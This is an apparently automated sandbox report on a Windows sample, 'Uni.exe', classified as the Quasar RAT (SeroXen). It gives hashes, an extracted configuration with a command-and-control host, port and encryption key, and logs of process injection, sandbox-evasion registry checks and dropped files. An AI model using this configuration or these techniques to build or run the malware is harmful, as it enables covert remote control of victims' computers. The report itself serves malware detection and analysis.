Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
16-12-2024 06:56
Static task
static1
Behavioral task
behavioral1
Sample
Uni.exe
Resource
win10v2004-20241007-en
General
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Target
Uni.exe
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Size
8.2MB
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MD5
917c0479804b76ae493bad95bf0c7710
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SHA1
7441c9042a3db3642416bd1fbee680e41fed6000
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SHA256
00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4
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SHA512
93ca248c62caa51a81a5156674ce4eceddc7c2bfd9331a8d522528d80b0d42042957e152e63021f9c3c6696ec76cbaec2ec5bc2820f5c0caf4976040e99d3aa8
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SSDEEP
196608:szdoXA+DYyx8t5KwwFdR3TNpiCHK9MIuBRR23pyHVvGAE+:szUDh8t55wFd1NckKKH+3pyHU
Malware Config
Extracted
quasar
1.0.0.0
v2.2.1 | SeroXen
VIPEEK1990-25013.portmap.host:25013
7018d402-47e5-4cb4-a786-2ea02c04bce5
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encryption_key
B25AE15F5F63DA9A5796B857943A95D816F98892
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/3788-66-0x0000015BF7EC0000-0x0000015BF868A000-memory.dmp family_quasar -
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
description pid Process procid_target PID 2428 created 5636 2428 WerFault.exe 112 PID 5292 created 5792 5292 WerFault.exe 118 -
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
description pid Process procid_target PID 1188 created 616 1188 Uni.bat.exe 5 PID 3788 created 616 3788 $sxr-powershell.exe 5 PID 3788 created 616 3788 $sxr-powershell.exe 5 PID 1188 created 616 1188 Uni.bat.exe 5 PID 3788 created 616 3788 $sxr-powershell.exe 5 PID 3788 created 616 3788 $sxr-powershell.exe 5 PID 3788 created 616 3788 $sxr-powershell.exe 5 PID 5936 created 5636 5936 svchost.exe 112 PID 3788 created 616 3788 $sxr-powershell.exe 5 PID 5936 created 5792 5936 svchost.exe 118 PID 3788 created 616 3788 $sxr-powershell.exe 5 -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Uni.bat.exe -
Executes dropped EXE 5 IoCs
pid Process 1188 Uni.bat.exe 972 $sxr-mshta.exe 1112 $sxr-cmd.exe 3788 $sxr-powershell.exe 3668 $sxr-powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" Uni.exe -
Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 3788 $sxr-powershell.exe 3668 $sxr-powershell.exe -
Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 OfficeClickToRun.exe -
Suspicious use of SetThreadContext 18 IoCs
description pid Process procid_target PID 1188 set thread context of 4340 1188 Uni.bat.exe 90 PID 1188 set thread context of 2444 1188 Uni.bat.exe 93 PID 3788 set thread context of 2372 3788 $sxr-powershell.exe 99 PID 3788 set thread context of 1532 3788 $sxr-powershell.exe 100 PID 3788 set thread context of 3308 3788 $sxr-powershell.exe 102 PID 3788 set thread context of 2460 3788 $sxr-powershell.exe 104 PID 1188 set thread context of 2136 1188 Uni.bat.exe 107 PID 1188 set thread context of 5236 1188 Uni.bat.exe 108 PID 3788 set thread context of 2232 3788 $sxr-powershell.exe 109 PID 3788 set thread context of 5756 3788 $sxr-powershell.exe 110 PID 3788 set thread context of 1020 3788 $sxr-powershell.exe 111 PID 3788 set thread context of 5636 3788 $sxr-powershell.exe 112 PID 3788 set thread context of 2704 3788 $sxr-powershell.exe 115 PID 3788 set thread context of 4640 3788 $sxr-powershell.exe 117 PID 3788 set thread context of 5792 3788 $sxr-powershell.exe 118 PID 3788 set thread context of 2336 3788 $sxr-powershell.exe 121 PID 3788 set thread context of 6132 3788 $sxr-powershell.exe 122 PID 3788 set thread context of 1580 3788 $sxr-powershell.exe 123 -
Drops file in Windows directory 7 IoCs
description ioc Process File created C:\Windows\$sxr-cmd.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe Uni.bat.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File created C:\Windows\$sxr-powershell.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe Uni.bat.exe File created C:\Windows\$sxr-mshta.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe Uni.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 5736 5636 WerFault.exe 112 -
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3412 cmd.exe 2016 PING.EXE -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe -
Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Kills process with taskkill 1 IoCs
pid Process 1388 taskkill.exe -
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1734332285" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 16 Dec 2024 06:58:06 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={190ECAB3-FDB0-48D9-90A2-083C27695B48}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2016 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1188 Uni.bat.exe 1188 Uni.bat.exe 1188 Uni.bat.exe 4340 dllhost.exe 4340 dllhost.exe 4340 dllhost.exe 4340 dllhost.exe 2444 dllhost.exe 2444 dllhost.exe 2444 dllhost.exe 2444 dllhost.exe 1188 Uni.bat.exe 1188 Uni.bat.exe 3788 $sxr-powershell.exe 3788 $sxr-powershell.exe 3788 $sxr-powershell.exe 3788 $sxr-powershell.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 2372 dllhost.exe 2372 dllhost.exe 2372 dllhost.exe 2372 dllhost.exe 3788 $sxr-powershell.exe 3788 $sxr-powershell.exe 3668 $sxr-powershell.exe 3668 $sxr-powershell.exe 3668 $sxr-powershell.exe 3668 $sxr-powershell.exe 3788 $sxr-powershell.exe 3308 dllhost.exe 3308 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 3308 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 3308 dllhost.exe 3308 dllhost.exe 2460 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1188 Uni.bat.exe Token: SeDebugPrivilege 1188 Uni.bat.exe Token: SeDebugPrivilege 4340 dllhost.exe Token: SeDebugPrivilege 2444 dllhost.exe Token: SeDebugPrivilege 3788 $sxr-powershell.exe Token: SeDebugPrivilege 3788 $sxr-powershell.exe Token: SeDebugPrivilege 1532 dllhost.exe Token: SeDebugPrivilege 2372 dllhost.exe Token: SeDebugPrivilege 3668 $sxr-powershell.exe Token: SeDebugPrivilege 3788 $sxr-powershell.exe Token: SeDebugPrivilege 3308 dllhost.exe Token: SeDebugPrivilege 2460 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1520 svchost.exe Token: SeIncreaseQuotaPrivilege 1520 svchost.exe Token: SeSecurityPrivilege 1520 svchost.exe Token: SeTakeOwnershipPrivilege 1520 svchost.exe Token: SeLoadDriverPrivilege 1520 svchost.exe Token: SeSystemtimePrivilege 1520 svchost.exe Token: SeBackupPrivilege 1520 svchost.exe Token: SeRestorePrivilege 1520 svchost.exe Token: SeShutdownPrivilege 1520 svchost.exe Token: SeSystemEnvironmentPrivilege 1520 svchost.exe Token: SeUndockPrivilege 1520 svchost.exe Token: SeManageVolumePrivilege 1520 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1520 svchost.exe Token: SeIncreaseQuotaPrivilege 1520 svchost.exe Token: SeSecurityPrivilege 1520 svchost.exe Token: SeTakeOwnershipPrivilege 1520 svchost.exe Token: SeLoadDriverPrivilege 1520 svchost.exe Token: SeSystemtimePrivilege 1520 svchost.exe Token: SeBackupPrivilege 1520 svchost.exe Token: SeRestorePrivilege 1520 svchost.exe Token: SeShutdownPrivilege 1520 svchost.exe Token: SeSystemEnvironmentPrivilege 1520 svchost.exe Token: SeUndockPrivilege 1520 svchost.exe Token: SeManageVolumePrivilege 1520 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1520 svchost.exe Token: SeIncreaseQuotaPrivilege 1520 svchost.exe Token: SeSecurityPrivilege 1520 svchost.exe Token: SeTakeOwnershipPrivilege 1520 svchost.exe Token: SeLoadDriverPrivilege 1520 svchost.exe Token: SeSystemtimePrivilege 1520 svchost.exe Token: SeBackupPrivilege 1520 svchost.exe Token: SeRestorePrivilege 1520 svchost.exe Token: SeShutdownPrivilege 1520 svchost.exe Token: SeSystemEnvironmentPrivilege 1520 svchost.exe Token: SeUndockPrivilege 1520 svchost.exe Token: SeManageVolumePrivilege 1520 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1520 svchost.exe Token: SeIncreaseQuotaPrivilege 1520 svchost.exe Token: SeSecurityPrivilege 1520 svchost.exe Token: SeTakeOwnershipPrivilege 1520 svchost.exe Token: SeLoadDriverPrivilege 1520 svchost.exe Token: SeSystemtimePrivilege 1520 svchost.exe Token: SeBackupPrivilege 1520 svchost.exe Token: SeRestorePrivilege 1520 svchost.exe Token: SeShutdownPrivilege 1520 svchost.exe Token: SeSystemEnvironmentPrivilege 1520 svchost.exe Token: SeUndockPrivilege 1520 svchost.exe Token: SeManageVolumePrivilege 1520 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1520 svchost.exe Token: SeIncreaseQuotaPrivilege 1520 svchost.exe Token: SeSecurityPrivilege 1520 svchost.exe Token: SeTakeOwnershipPrivilege 1520 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3788 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3304 wrote to memory of 3248 3304 Uni.exe 82 PID 3304 wrote to memory of 3248 3304 Uni.exe 82 PID 3248 wrote to memory of 1188 3248 cmd.exe 84 PID 3248 wrote to memory of 1188 3248 cmd.exe 84 PID 1188 wrote to memory of 4340 1188 Uni.bat.exe 90 PID 1188 wrote to memory of 4340 1188 Uni.bat.exe 90 PID 1188 wrote to memory of 4340 1188 Uni.bat.exe 90 PID 1188 wrote to memory of 4340 1188 Uni.bat.exe 90 PID 1188 wrote to memory of 4340 1188 Uni.bat.exe 90 PID 1188 wrote to memory of 4340 1188 Uni.bat.exe 90 PID 1188 wrote to memory of 4340 1188 Uni.bat.exe 90 PID 1188 wrote to memory of 5016 1188 Uni.bat.exe 92 PID 1188 wrote to memory of 5016 1188 Uni.bat.exe 92 PID 1188 wrote to memory of 5016 1188 Uni.bat.exe 92 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 1188 wrote to memory of 2444 1188 Uni.bat.exe 93 PID 972 wrote to memory of 1112 972 $sxr-mshta.exe 96 PID 972 wrote to memory of 1112 972 $sxr-mshta.exe 96 PID 1112 wrote to memory of 3788 1112 $sxr-cmd.exe 98 PID 1112 wrote to memory of 3788 1112 $sxr-cmd.exe 98 PID 3788 wrote to memory of 2372 3788 $sxr-powershell.exe 99 PID 3788 wrote to memory of 2372 3788 $sxr-powershell.exe 99 PID 3788 wrote to memory of 2372 3788 $sxr-powershell.exe 99 PID 3788 wrote to memory of 2372 3788 $sxr-powershell.exe 99 PID 3788 wrote to memory of 2372 3788 $sxr-powershell.exe 99 PID 3788 wrote to memory of 2372 3788 $sxr-powershell.exe 99 PID 3788 wrote to memory of 2372 3788 $sxr-powershell.exe 99 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 1532 3788 $sxr-powershell.exe 100 PID 3788 wrote to memory of 3668 3788 $sxr-powershell.exe 101 PID 3788 wrote to memory of 3668 3788 $sxr-powershell.exe 101 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 3308 3788 $sxr-powershell.exe 102 PID 3788 wrote to memory of 4640 3788 $sxr-powershell.exe 103 PID 3788 wrote to memory of 4640 3788 $sxr-powershell.exe 103 PID 3788 wrote to memory of 4640 3788 $sxr-powershell.exe 103 PID 3788 wrote to memory of 2460 3788 $sxr-powershell.exe 104 PID 3788 wrote to memory of 2460 3788 $sxr-powershell.exe 104 PID 3788 wrote to memory of 2460 3788 $sxr-powershell.exe 104 PID 3788 wrote to memory of 2460 3788 $sxr-powershell.exe 104 PID 3788 wrote to memory of 2460 3788 $sxr-powershell.exe 104 PID 3788 wrote to memory of 2460 3788 $sxr-powershell.exe 104 PID 3788 wrote to memory of 2460 3788 $sxr-powershell.exe 104 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 5224 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:332
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{46d49a45-9db2-43f0-b12c-f27dca0c7fd1}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4340
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{beef21d5-c1c4-47dc-bbc7-b1c070ec5e56}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2372
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c2f5e7ea-1394-4b8c-9925-37e197498fc5}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3308
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8aa1c17b-0803-4dc3-9504-9a7473dfa18f}2⤵PID:2136
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{66e9e712-7d31-4f2f-b0a4-ae182c913527}2⤵PID:2232
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{32380cc1-9999-43f4-a24b-72e587f0fd9f}2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f087fc9a-8eb0-42cf-8f34-bdbc70f14d06}2⤵PID:2704
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2a1d6e50-557f-4547-bc39-58db60acbea8}2⤵PID:5792
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5792 -s 3083⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4608
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7296fd10-6de9-443d-8b83-57000d465063}2⤵PID:6132
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:388
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1192
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2668
